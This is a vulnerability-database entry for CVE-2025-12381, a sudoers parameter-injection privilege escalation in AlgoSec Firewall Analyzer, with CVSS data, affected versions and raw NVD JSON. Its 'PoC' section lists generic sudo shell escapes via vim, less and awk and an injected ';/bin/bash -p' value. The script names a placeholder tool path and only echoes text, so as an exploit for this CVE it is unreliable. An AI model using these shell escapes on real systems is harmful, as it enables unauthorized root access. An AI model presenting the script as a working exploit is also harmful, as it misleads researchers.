Security Vulnerability Report
中文
CVE-2025-12381 CVSS 7.8 HIGH

CVE-2025-12381

Published: 2025-12-09 16:17:34
Last Modified: 2025-12-17 14:51:27

Description

Improper Privilege Management vulnerability in AlgoSec Firewall Analyzer on Linux, 64 bit allows Privilege Escalation, Parameter Injection. A local user with access to the command line may escalate their privileges by abusing the parameters of a command that is approved in the sudoers file.  This issue affects Firewall Analyzer: A33.0, A33.10.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:algosec:firewall_analyzer:a33.0:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:algosec:firewall_analyzer:a33.10:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:x64:* - NOT VULNERABLE
AlgoSec Firewall Analyzer A33.0
AlgoSec Firewall Analyzer A33.10

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/bin/bash # CVE-2025-12381 PoC - AlgoSec Firewall Analyzer Privilege Escalation # This PoC demonstrates parameter injection via sudoers-approved command # Note: This is a conceptual PoC. Actual exploitation requires: # 1. Target system running vulnerable AlgoSec Firewall Analyzer version # 2. Attacker has low-privilege user account with sudo access # 3. Specific vulnerable command in sudoers file # Example attack vectors: # Vector 1: If 'vim' is in sudoers # sudo vim -c ':!sh' # Vector 2: If 'less' is in sudoers # sudo less /etc/passwd # Then type: !sh # Vector 3: If 'awk' is in sudoers # sudo awk 'BEGIN {system("/bin/sh")}' # Vector 4: Parameter injection example (generic) # Assuming vulnerable command allows parameter injection: VULN_CMD="/opt/algosec/firewall_analyzer/bin/some_tool" INJECTED_CMD=";/bin/bash -p" # The actual PoC would look like: # sudo $VULN_CMD $INJECTED_CMD echo "[+] CVE-2025-12381 AlgoSec Firewall Analyzer LPE" echo "[+] Target: AlgoSec Firewall Analyzer A33.0/A33.10" echo "[+] Method: Sudoers Parameter Injection" echo "[!] This PoC is for educational purposes only"

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12381", "sourceIdentifier": "[email protected]", "published": "2025-12-09T16:17:33.910", "lastModified": "2025-12-17T14:51:27.253", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Privilege Management vulnerability in AlgoSec Firewall Analyzer on Linux, 64 bit allows Privilege Escalation, Parameter Injection.\n\nA local user with access to the command line may escalate their privileges by abusing the parameters of a command that is approved in the sudoers file. \nThis issue affects Firewall Analyzer: A33.0, A33.10."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:A/VC:L/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:N/AU:Y/R:U/V:X/RE:L/U:Amber", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "LOW", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "HIGH", "subIntegrityImpact": "HIGH", "subAvailabilityImpact": "HIGH", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NEGLIGIBLE", "Automatable": "YES", "Recovery": "USER", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "LOW", "providerUrgency": "AMBER"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-269"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:algosec:firewall_analyzer:a33.0:*:*:*:*:*:*:*", "matchCriteriaId": "7D08D419-4FB4-480F-9507-B88892A36C18"}, {"vulnerable": true, "criteria": "cpe:2.3:a:algosec:firewall_analyzer:a33.10:*:*:*:*:*:*:*", "matchCriteriaId": "AB242B1A-5829-41C8-B92D-B9F1374B8CC9"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:x64:*", "matchCriteriaId": "71BFBE5F-56EB-45C9-B558-FC4D7CEA345A"}]}]}], "references": [{"url": "https://techdocs.algosec.com/en/cves/Content/tech-notes/cves/cve-2025-12381.htm", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}